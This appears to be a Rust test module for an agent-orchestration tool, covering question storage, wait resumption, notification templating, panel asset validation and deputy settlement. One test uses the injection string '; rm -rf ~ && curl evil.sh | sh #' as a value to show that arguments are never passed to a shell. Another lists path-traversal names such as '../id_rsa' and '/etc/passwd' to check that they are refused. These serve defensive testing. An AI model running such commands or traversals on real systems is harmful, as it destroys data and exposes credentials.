2880 Duration::from_millis(30),
2881 Duration::from_millis(10),
2882 )
2883 .await
2884 .unwrap();
2885
2886 assert_eq!(
2887 got,
2888 Wait::Pending,
2889 "the clock on this call ran out, not the owner's patience"
2890 );
2891 assert_eq!(
2892 q.status,
2893 QuestionStatus::Open,
2894 "a slice expiring must never abandon the question"
2895 );
2896 let on_disk = s.get(&q.id).expect("still on disk, still open");
2897 assert_eq!(
2898 on_disk.status,
2899 QuestionStatus::Open,
2900 "nothing about the record changed just because this call gave up"
2901 );
2902 }
2903
2904 #[tokio::test]
2905 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2906 let (dir, s) = store();
2911 let mut q = choice_question();
2912 s.put(&mut q).unwrap();
2913
2914 let first = wait_loop(
2915 &mut q,
2916 &s,
2917 Duration::from_secs(3600),
2918 Duration::from_millis(30),
2919 Duration::from_millis(10),
2920 )
2921 .await
2922 .unwrap();
2923 assert_eq!(first, Wait::Pending);
2924
2925 let id = q.id.clone();
2926 let writer = Questions::at(dir.path().join("questions"));
2927 let mut fresh = writer.get(&id).unwrap();
2928 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2929 writer.put(&mut fresh).unwrap();
2930
2931 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2936 .await
2937 .unwrap();
2938 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2939 assert_eq!(q.status, QuestionStatus::Answered);
2940 }
2941
2942 #[tokio::test]
2943 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2944 let (dir, s) = store();
2954 let mut q = choice_question();
2955 s.put(&mut q).unwrap();
2956
2957 let first = wait_loop(
2958 &mut q,
2959 &s,
2960 Duration::from_secs(3600),
2961 Duration::from_millis(30),
2962 Duration::from_millis(10),
2963 )
2964 .await
2965 .unwrap();
2966 assert_eq!(first, Wait::Pending);
2967
2968 let id = q.id.clone();
2970 let writer = Questions::at(dir.path().join("questions"));
2971 let mut fresh = writer.get(&id).unwrap();
2972 fresh.say("why not Postgres?").unwrap();
2973 writer.put(&mut fresh).unwrap();
2974
2975 let mut resumed = s.get(&id).unwrap();
2979 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2980 .await
2981 .unwrap();
2982 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2983 assert_eq!(
2984 resumed.status,
2985 QuestionStatus::Open,
2986 "talking back is not a decision; the question stays open"
2987 );
2988 }
2989
2990 #[tokio::test]
2991 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2992 let (dir, s) = store();
2996 let broken = config::Notify {
2997 command: vec![
2998 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2999 "{summary}".to_owned(),
3000 ],
3001 };
3002 let mut q = choice_question();
3003 assert!(
3004 notify(&broken, &q).await.is_err(),
3005 "the caller is told; it decides that it does not matter"
3006 );
3007
3008 let id = q.id.clone();
3009 let writer = Questions::at(dir.path().join("questions"));
3010 let handle = tokio::spawn(async move {
3011 tokio::time::sleep(Duration::from_millis(30)).await;
3012 let mut fresh = writer.get(&id).unwrap();
3013 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3014 writer.put(&mut fresh).unwrap();
3015 });
3016 let got = wait_for_owner(
3017 &mut q,
3018 &s,
3019 &broken,
3020 Duration::from_secs(5),
3021 Duration::from_millis(10),
3022 )
3023 .await
3024 .unwrap();
3025 handle.await.unwrap();
3026 assert_eq!(got, Wait::Answered("Redis".to_owned()));
3027
3028 assert!(notify(&quiet(), &q).await.is_ok());
3030 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3031 }
3032
3033 #[tokio::test]
3034 async fn external_question_notification_names_the_supported_response_path() {
3035 let dir = tempfile::tempdir().unwrap();
3036 let path = dir.path().join("page");
3037 let cmd = config::Notify {
3038 command: vec![
3039 "sh".into(),
3040 "-c".into(),
3041 "printf '%s' \"$1\" > \"$2\"".into(),
3042 "notify".into(),
3043 "{summary}".into(),
3044 path.to_string_lossy().into_owned(),
3045 ],
3046 };
3047 let q = choice_question();
3048 notify(&cmd, &q).await.unwrap();
3049 let sent = std::fs::read_to_string(&path).unwrap();
3050 assert!(sent.starts_with("Question "));
3051 assert!(sent.contains(&q.summary));
3052 assert!(sent.contains(&format!("magi answer {}", q.id)));
3053 notify_text(&cmd, "", "Informational report. No reply needed.")
3054 .await
3055 .unwrap();
3056 assert_eq!(
3057 std::fs::read_to_string(&path).unwrap(),
3058 "Informational report. No reply needed."
3059 );
3060 }
3061
3062 #[test]
3063 fn external_notifications_and_questions_have_distinct_destinations() {
3064 assert_eq!(
3065 question_url("https://example.invalid/"),
3066 "https://example.invalid/#/questions"
3067 );
3068 assert_eq!(
3069 view_url("https://example.invalid/", "notifications"),
3070 "https://example.invalid/#/notifications"
3071 );
3072 assert_eq!(view_url("", "notifications"), "");
3073 assert_eq!(
3074 view_url("https://example.invalid/#/queue", "notifications"),
3075 "https://example.invalid/#/queue"
3076 );
3077 }
3078
3079 #[test]
3080 fn notification_arguments_are_substituted_and_never_a_shell_string() {
3081 let mut q = choice_question();
3082 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3083 let template = [
3084 "ntfy".to_owned(),
3085 "publish".to_owned(),
3086 "--click".to_owned(),
3087 "{url}".to_owned(),
3088 "--title".to_owned(),
3089 "magi {run} needs you".to_owned(),
3090 "{summary}".to_owned(),
3091 ];
3092 let argv: Vec<String> = template
3093 .iter()
3094 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3095 .collect();
3096
3097 assert_eq!(
3098 argv,
3099 [
3100 "ntfy",
3101 "publish",
3102 "--click",
3103 "http://100.64.0.1:7777/#/questions",
3104 "--title",
3105 "magi 20260902-201256-9fb7 needs you",
3106 "; rm -rf ~ && curl evil.sh | sh #",
3107 ],
3108 "the shell metacharacters are one argument's contents, not syntax"
3109 );
3110
3111 q.summary = "should {url} be configurable?".to_owned();
3114 assert_eq!(
3115 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3116 "should {url} be configurable?"
3117 );
3118 assert_eq!(
3120 expand("{title}: {run}", &q.run, &q.summary, ""),
3121 "{title}: 20260902-201256-9fb7"
3122 );
3123 assert_eq!(
3124 expand("no placeholders", &q.run, &q.summary, "http://x"),
3125 "no placeholders"
3126 );
3127 }
3128
3129 #[test]
3130 fn the_notification_link_lands_on_the_view_that_can_answer() {
3131 assert_eq!(
3132 question_url("http://100.64.0.1:7777"),
3133 "http://100.64.0.1:7777/#/questions"
3134 );
3135 assert_eq!(
3136 question_url("http://100.64.0.1:7777/"),
3137 "http://100.64.0.1:7777/#/questions"
3138 );
3139 assert_eq!(
3141 question_url("http://magi.ts.net/#/runs"),
3142 "http://magi.ts.net/#/runs"
3143 );
3144 assert_eq!(question_url(" "), "");
3146 }
3147
3148 fn panelled() -> Question {
3150 let mut q = choice_question();
3151 q.id = "20260903-014455-ab12".to_owned();
3152 q
3153 }
3154
3155 #[test]
3156 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3157 let (dir, s) = store();
3158 let work = dir.path().join("worktree");
3159 std::fs::create_dir_all(&work).unwrap();
3160 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3161 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3162
3163 let mut q = panelled();
3164 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3165 s.put_panel(
3166 &mut q,
3167 html,
3168 &[work.join("table.png"), work.join("diff.svg")],
3169 )
3170 .unwrap();
3171 s.put(&mut q).unwrap();
3172
3173 assert!(q.panel);
3174 assert_eq!(
3175 q.assets,
3176 ["diff.svg", "table.png"],
3177 "sorted, not in the order the agent happened to pass them"
3178 );
3179 assert_eq!(
3180 s.panel_html(&q.id).as_deref(),
3181 Some(html),
3182 "the html is stored byte for byte; the agent authored the markup"
3183 );
3184 assert_eq!(
3185 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3186 Some(&b"<svg/>"[..])
3187 );
3188
3189 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3191 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3192 assert_eq!(json["panel"], true);
3193 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3194 let back = s.get(&q.id).unwrap();
3195 assert!(back.panel);
3196 assert_eq!(back.assets, q.assets);
3197
3198 std::fs::remove_dir_all(&work).unwrap();
3201 assert_eq!(
3202 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3203 Some(&b"\x89PNG"[..]),
3204 "a referenced asset would be gone with the worktree"
3205 );
3206 }
3207
3208 #[test]
3209 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3210 let (dir, s) = store();
3211 let mut q = panelled();
3212 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3213 s.put(&mut q).unwrap();
3214
3215 let secret = "this must never reach the browser";
3218 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3219 assert_eq!(
3220 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3221 secret,
3222 "the traversal is real: the operating system resolves this path \
3223 happily, which is why the name has to be refused before the join"
3224 );
3225
3226 let long = "x".repeat(200);
3227 for name in [
3228 "..",
3229 "../id_rsa",
3230 "..\\id_rsa",
3231 "sub/../id_rsa",
3232 "/",
3233 "\\",
3234 "/etc/passwd",
3235 "C:\\Windows\\win.ini",
3236 "",
3237 ".hidden",
3238 ".",
3239 long.as_str(),
3240 ] {
3241 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3242 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3243 assert!(
3244 e.contains("not a panel file name"),
3245 "`{name}` must be refused as a name, not attempted: {e}"
3246 );
3247 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3248 }
3249 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3252
3253 let hidden = dir.path().join(".hidden");
3256 std::fs::write(&hidden, "x").unwrap();
3257 let e = s
3258 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3259 .unwrap_err()
3260 .to_string();
3261 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3262 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3263 assert!(q.assets.is_empty());
3264 }
3265
3266 #[test]
3267 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3268 let (dir, s) = store();
3269 let mut q = panelled();
3270 s.put(&mut q).unwrap();
3271
3272 let big = dir.path().join("recording.png");
3275 std::fs::File::create(&big)
3276 .unwrap()
3277 .set_len(PANEL_MAX_BYTES)
3278 .unwrap();
3279
3280 let html = "<p>see the recording</p>";
3281 let total = PANEL_MAX_BYTES + html.len() as u64;
3282 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3283 assert!(
3284 e.contains(&PANEL_MAX_BYTES.to_string()),
3285 "the cap is named so the agent knows the limit: {e}"
3286 );
3287 assert!(
3288 e.contains(&total.to_string()),
3289 "the actual size is named so the agent knows by how much: {e}"
3290 );
3291
3292 assert!(!q.panel);
3293 assert!(q.assets.is_empty());
3294 let left: Vec<String> = std::fs::read_dir(s.root())
3295 .unwrap()
3296 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3297 .collect();
3298 assert_eq!(
3299 left,
3300 [format!("{}.json", q.id)],
3301 "a refused panel leaves neither a directory nor scratch: {left:?}"
3302 );
3303 }
3304
3305 #[test]
3306 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3307 let (dir, s) = store();
3308 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3309 std::fs::create_dir_all(&before).unwrap();
3310 std::fs::create_dir_all(&after).unwrap();
3311 std::fs::write(before.join("diff.png"), "before").unwrap();
3312 std::fs::write(after.join("diff.png"), "after").unwrap();
3313
3314 let mut q = panelled();
3315 let e = s
3316 .put_panel(
3317 &mut q,
3318 "<p>x</p>",
3319 &[before.join("diff.png"), after.join("diff.png")],
3320 )
3321 .unwrap_err()
3322 .to_string();
3323 assert!(e.contains("diff.png"), "{e}");
3324 assert!(
3325 e.contains("before") && e.contains("after"),
3326 "both sources are named, because the fix is to rename one: {e}"
3327 );
3328 assert!(!q.panel);
3329 assert!(!s.panel_dir(&q.id).exists());
3330 }
3331
3332 #[test]
3333 fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3334 let (_dir, s) = store();
3335 let barrier = std::sync::Barrier::new(8);
3336 let ids = std::thread::scope(|scope| {
3337 let handles: Vec<_> = (0..8)
3338 .map(|worker| {
3339 let s = &s;
3340 let barrier = &barrier;
3341 scope.spawn(move || {
3342 barrier.wait();
3343 (0..16)
3344 .map(|index| {
3345 let mut q = choice_question();
3346 q.id = new_id_at("20261020-224346", 0xf8ef);
3349 q.summary = format!("worker {worker}, question {index}");
3350 assert!(valid_asset_name(&q.id));
3351 assert_eq!(q.short(), "f8ef");
3352 let html = format!("<p>{}</p>", q.summary);
3353 s.put_panel(&mut q, &html, &[]).unwrap();
3354 s.put(&mut q).unwrap();
3355 (q.id, q.summary, html)
3356 })
3357 .collect::<Vec<_>>()
3358 })
3359 })
3360 .collect();
3361 handles
3362 .into_iter()
3363 .flat_map(|handle| handle.join().unwrap())
3364 .collect::<Vec<_>>()
3365 });
3366 assert_eq!(s.list().len(), ids.len());
3367 for (id, summary, html) in ids {
3368 assert_eq!(s.get(&id).unwrap().summary, summary);
3369 assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3370 }
3371 }
3372
3373 #[test]
3374 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3375 let (dir, s) = store();
3376 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3377 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3378
3379 let mut q = panelled();
3380 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3381 .unwrap();
3382 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3383 .unwrap();
3384
3385 assert_eq!(q.assets, ["new.png"]);
3386 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3387 assert!(
3388 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3389 "an asset from the first attempt would show a mix of two answers"
3390 );
3391
3392 s.drop_panel(&q.id).unwrap();
3393 assert!(s.panel_html(&q.id).is_none());
3394 assert!(!s.panel_dir(&q.id).exists());
3395 s.drop_panel(&q.id)
3396 .expect("dropping a panel that is already gone is the desired state");
3397 }
3398
3399 #[test]
3400 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3401 let (_dir, s) = store();
3402 let mut q = panelled();
3403 s.put(&mut q).unwrap();
3404
3405 assert!(!q.panel);
3406 assert!(s.panel_html(&q.id).is_none());
3407 assert!(
3408 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3409 "a missing file is a 404 for the caller, not a failure of the store"
3410 );
3411 let json = serde_json::to_value(&q).unwrap();
3412 assert_eq!(json["panel"], false);
3413 assert_eq!(json["assets"], serde_json::json!([]));
3414
3415 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3418 assert!(e.contains("empty panel"), "{e}");
3419 assert!(!s.panel_dir(&q.id).exists());
3420 }
3421
3422 #[test]
3423 fn a_question_written_before_panels_existed_still_deserialises() {
3424 let (_dir, s) = store();
3425 std::fs::create_dir_all(s.root()).unwrap();
3426 let id = "20260902-231501-ab12";
3427 let body = r#"{
3429 "schema": 1,
3430 "id": "20260902-231501-ab12",
3431 "run": "20260902-201256-9fb7",
3432 "node": "implement",
3433 "seat": "impl-A",
3434 "summary": "Which storage backend should the cache use?",
3435 "detail": "Both are already dependencies.",
3436 "choices": ["SQLite", "Redis"],
3437 "status": "open",
3438 "asked_at": "2026-09-02T23:15:01Z",
3439 "answered_at": null,
3440 "answer": null
3441}"#;
3442 std::fs::write(s.path_of(id), body).unwrap();
3443
3444 let q = s.get(id).unwrap();
3445 assert!(
3446 !q.panel,
3447 "an absent field means no panel, not a parse error"
3448 );
3449 assert!(q.assets.is_empty());
3450 assert_eq!(q.schema, 1);
3455 assert!(q.thread.is_empty());
3456 assert_eq!(
3457 q.answer_timeout, 0,
3458 "an absent field means unrecorded, not a zero-second deadline"
3459 );
3460 assert!(!q.waiting_on_agent());
3461 assert_eq!(q.summary, "Which storage backend should the cache use?");
3462 assert_eq!(
3463 s.list().len(),
3464 1,
3465 "and it is still listed; skipping it would hide an open question"
3466 );
3467 }
3468
3469 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3470 Turn {
3471 who,
3472 body: body.to_owned(),
3473 at,
3474 note: None,
3475 }
3476 }
3477
3478 #[test]
3479 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3480 let mut q = choice_question();
3483 q.thread
3484 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3485 let value = serde_json::to_value(&q.thread[0]).unwrap();
3486 let mut keys: Vec<&str> = value
3487 .as_object()
3488 .unwrap()
3489 .keys()
3490 .map(String::as_str)
3491 .collect();
3492 keys.sort_unstable();
3493 assert_eq!(keys, ["at", "body", "who"]);
3494 assert_eq!(value["who"], "operator");
3495 assert_eq!(value["body"], "why not Postgres?");
3496
3497 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3498 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3499 assert_eq!(parsed.who, Who::Agent);
3500 }
3501
3502 fn approval_question() -> Question {
3503 let mut q = Question::new(
3504 "run".into(),
3505 crate::land::APPROVAL_NODE.into(),
3506 "land".into(),
3507 "Merge?".into(),
3508 String::new(),
3509 vec!["merge".into(), "hold".into()],
3510 );
3511 let mut dep = Deputy::new("brief".into());
3512 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3513 q.deputy = Some(dep);
3514 q
3515 }
3516
3517 #[test]
3518 fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3519 let target = || crate::merge_decision::Target {
3520 pr: "PR 42".into(),
3521 head: "abc".into(),
3522 language: "en".into(),
3523 };
3524 let mut q = approval_question();
3526 q.merge_target = Some(target());
3527 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3528 .unwrap();
3529 q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3530 .unwrap();
3531 assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3532 assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3533 for choice in [
3535 crate::land::HOLD,
3536 crate::land::REPAIR,
3537 crate::merge_decision::WITHDRAW,
3538 "reimplement:beta",
3539 ] {
3540 let mut q = approval_question();
3541 q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3542 q.merge_target = Some(target());
3543 q.say("ちょっと待って、そっちでお願い").unwrap();
3544 q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3545 .unwrap();
3546 assert_eq!(q.resolution().as_deref(), Some(choice));
3547 }
3548 let mut release = Question::new(
3550 String::new(),
3551 crate::bump::NOTICE_NODE.into(),
3552 "release-watch".into(),
3553 "Release?".into(),
3554 String::new(),
3555 vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3556 );
3557 release.deputy = approval_question().deputy;
3558 release.say("リリースしていいよ").unwrap();
3559 release
3560 .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3561 .unwrap();
3562 assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3563 }
3564
3565 #[test]
3566 fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3567 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3568 for choice in [POST_ORIGINAL, USE_REWRITE] {
3569 let mut q = Question::new(
3570 "run".into(),
3571 ASK_NODE.into(),
3572 ASK_SEAT.into(),
3573 "s".into(),
3574 String::new(),
3575 vec![USE_FALLBACK.into(), choice.into()],
3576 );
3577 q.deputy = approval_question().deputy;
3578 q.say("それでいいよ、投稿して").unwrap();
3579 q.settle_by_deputy("deputy-x", choice, None).unwrap();
3580 assert_eq!(q.resolution().as_deref(), Some(choice));
3581 }
3582 let mut discard = approval_question();
3583 discard.node = "recovery".into();
3584 discard.choices.push("discard".into());
3585 discard.actions.insert("discard".into(), ChoiceAction::Done);
3586 discard.say("おっけーそれぞれ回答してー").unwrap();
3587 discard
3588 .settle_by_deputy("deputy-x", "discard", None)
3589 .unwrap();
3590 assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3591 }
3592
3593 #[test]
3594 fn hold_may_carry_the_hold_effect_but_no_other_action() {
3595 let mut q = choice_question();
3596 q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3597 q.actions
3598 .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3599 q.clone()
3600 .answer(Answer::Choice(crate::land::HOLD.into()))
3601 .unwrap();
3602 q.actions
3603 .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3604 assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3605 }
3606
3607 fn settle_ready() -> Question {
3608 let mut q = Question::new(
3609 "task".to_owned(),
3610 "conduct".to_owned(),
3611 "conduct".to_owned(),
3612 "Done?".to_owned(),
3613 String::new(),
3614 vec!["yes".to_owned(), "no".to_owned()],
3615 );
3616 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3617 seat.turns = 1;
3618 let mut dep = Deputy::new("brief".to_owned());
3619 dep.seat = Some(seat);
3620 q.deputy = Some(dep);
3621 q.say("setup done, and file a follow-up").unwrap();
3622 q
3623 }
3624
3625 #[test]
3626 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3627 let dir = tempfile::TempDir::new().unwrap();
3628 let store = Questions::at(dir.path().join("questions"));
3629 let mut q = settle_ready();
3630 let id = q.id.clone();
3631 store.put(&mut q).unwrap();
3632 store
3633 .update(&id, |q| {
3634 q.settle_by_deputy("deputy-x", "yes", Some(" no follow-up was queued "))
3635 })
3636 .unwrap();
3637 let back = store.get(&id).unwrap();
3638 let turn = back.thread.last().unwrap();
3639 assert_eq!(turn.who, Who::Agent);
3640 assert!(turn.body.starts_with("Settled as `yes`"));
3641 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3642 assert_eq!(back.thread[0].note, None);
3643 }
3644
3645 #[test]
3646 fn an_empty_or_blank_settle_note_is_no_note() {
3647 for note in [None, Some(""), Some(" \n ")] {
3648 let mut q = settle_ready();
3649 q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3650 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3651 let json = serde_json::to_string(&q).unwrap();
3652 assert!(!json.contains("\"note\""), "no key when there is none");
3653 }
3654 }
3655
3656 #[test]
3657 fn a_refused_settle_leaves_no_note_behind() {
3658 let mut q = settle_ready();
3659 let before = q.thread.clone();
3660 assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3661 assert!(
3662 q.settle_by_deputy("someone-else", "yes", Some("n"))
3663 .is_err()
3664 );
3665 assert_eq!(q.thread, before);
3666 assert_eq!(q.status, QuestionStatus::Open);
3667 }
3668
3669 #[test]
3670 fn a_turn_written_before_notes_existed_still_reads() {
3671 let t: Turn =
3672 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3673 .unwrap();
3674 assert_eq!(t.note, None);
3675 }
3676
3677 #[test]
3678 fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3679 let mut q = Question::new(
3680 "task".to_owned(),
3681 "conduct".to_owned(),
3682 "conduct".to_owned(),
3683 "Done?".to_owned(),
3684 String::new(),
3685 vec!["yes".to_owned(), "no".to_owned()],
3686 );
3687 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3688 seat.turns = 1;
3689 let mut dep = Deputy::new("brief".to_owned());
3690 dep.seat = Some(seat);
3691 q.deputy = Some(dep);
3692 q.say("setup done, go ahead").unwrap();
3693
3694 assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3695 assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3696 let mut routed = q.clone();
3697 routed.routed_task = Some("task".into());
3698 assert!(
3699 routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3700 "a routed decision belongs to the task chat"
3701 );
3702 assert_eq!(q.status, QuestionStatus::Open);
3703
3704 q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3705 assert_eq!(q.status, QuestionStatus::Answered);
3706 assert_eq!(q.resolution().as_deref(), Some("yes"));
3707 let last = q.thread.last().unwrap();
3708 assert_eq!(last.who, Who::Agent);
3709 assert!(last.body.starts_with("Settled as `yes`"));
3710 let turns = q.thread.len();
3711 assert!(
3712 q.settle_by_deputy("deputy-x", "no", None).is_err(),
3713 "a settled question is not settled twice"
3714 );
3715 assert_eq!(q.thread.len(), turns);
3716 }
3717
3718 #[test]
3719 fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3720 let q = choice_question();
3721 let mut v = serde_json::to_value(&q).unwrap();
3722 v["answer_authority"] = serde_json::json!({
3723 "talk": "talk", "turn": 0, "message": 0,
3724 "instruction": "id: use my text fp\nA title",
3725 "instruction_fingerprint": "f", "recommendation_turn": null,
3726 "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3727 "question_fingerprint": "g", "recovery_interpretation": "r"
3728 });
3729 let back: Question = serde_json::from_value(v).unwrap();
3730 let legacy = back.answer_authority.as_ref().unwrap();
3731 assert_eq!(legacy.question, q.id);
3732 assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3733 let written = serde_json::to_value(&back).unwrap();
3736 assert_eq!(
3737 written["answer_authority"],
3738 serde_json::json!({
3739 "question": q.id, "choice": "SQLite",
3740 "instruction": "id: use my text fp\nA title"
3741 })
3742 );
3743 let again: Question = serde_json::from_value(written).unwrap();
3744 assert_eq!(again.answer_authority, back.answer_authority);
3745 assert!(
3746 serde_json::to_value(&q)
3747 .unwrap()
3748 .get("answer_authority")
3749 .is_none()
3750 );
3751 }
3752
3753 #[test]
3754 fn a_question_written_before_deputies_still_reads() {
3755 let mut q = Question::new(
3756 "task".to_owned(),
3757 "conduct".to_owned(),
3758 "conduct".to_owned(),
3759 "Done?".to_owned(),
3760 String::new(),
3761 Vec::new(),
3762 );
3763 q.schema = 4;
3764 let mut v = serde_json::to_value(&q).unwrap();
3765 v.as_object_mut().unwrap().remove("deputy");
3766 let back: Question = serde_json::from_value(v).unwrap();
3767 assert!(back.deputy.is_none());
3768 }
3769
3770 #[test]
3771 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3772 let mut q = choice_question();
3773 q.say("does the cache need eviction?").unwrap();
3774 assert_eq!(q.thread.len(), 1);
3775 assert_eq!(q.thread[0].who, Who::Operator);
3776 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3777 assert_eq!(q.status, QuestionStatus::Open);
3780 assert!(q.answer.is_none());
3781 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3782 }
3783
3784 #[test]
3785 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3786 let mut answered = choice_question();
3787 answered
3788 .answer(Answer::Choice("SQLite".to_owned()))
3789 .unwrap();
3790 let a = answered.say("still there?").unwrap_err().to_string();
3791 assert!(a.contains("already answered"), "{a}");
3792 let b = answered
3793 .reply("still there?", vec![])
3794 .unwrap_err()
3795 .to_string();
3796 assert!(b.contains("already answered"), "{b}");
3797
3798 let mut abandoned = choice_question();
3799 abandoned.abandon("timed out");
3800 let c = abandoned.say("hello?").unwrap_err().to_string();
3801 assert!(c.contains("abandoned"), "{c}");
3802
3803 let mut open = choice_question();
3804 let d = open.say(" ").unwrap_err().to_string();
3805 assert!(d.contains("empty"), "{d}");
3806 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3807 assert!(e.contains("empty"), "{e}");
3808 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3809 }
3810
3811 #[test]
3812 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3813 let mut q = choice_question();
3814 q.say("SQLite or Redis, but what about disk space?")
3815 .unwrap();
3816 assert!(q.waiting_on_agent());
3817
3818 q.reply(
3819 "SQLite: it is one file, no server to run.",
3820 vec!["SQLite".to_owned()],
3821 )
3822 .unwrap();
3823
3824 assert_eq!(q.choices, ["SQLite"]);
3825 assert!(
3826 !q.waiting_on_agent(),
3827 "the agent spoke, so the owner is the one being waited on now"
3828 );
3829 assert_eq!(q.thread.len(), 2);
3830 assert_eq!(q.thread[1].who, Who::Agent);
3831
3832 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3834 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3835 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3836 }
3837
3838 #[test]
3839 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3840 let mut fresh = choice_question();
3841 assert!(
3842 fresh.should_notify(Timestamp::now()),
3843 "nobody has been notified yet, so the first ask always pages"
3844 );
3845
3846 fresh.say("why not Postgres?").unwrap();
3847 let just_said = fresh.thread[0].at;
3848 assert!(
3849 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3850 "still on the screen a minute later; no need to page again"
3851 );
3852 assert!(
3853 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3854 "exactly the window: `>` means this side stays quiet"
3855 );
3856 assert!(
3857 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3858 "past the window: they may have walked away"
3859 );
3860 }
3861
3862 #[test]
3863 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
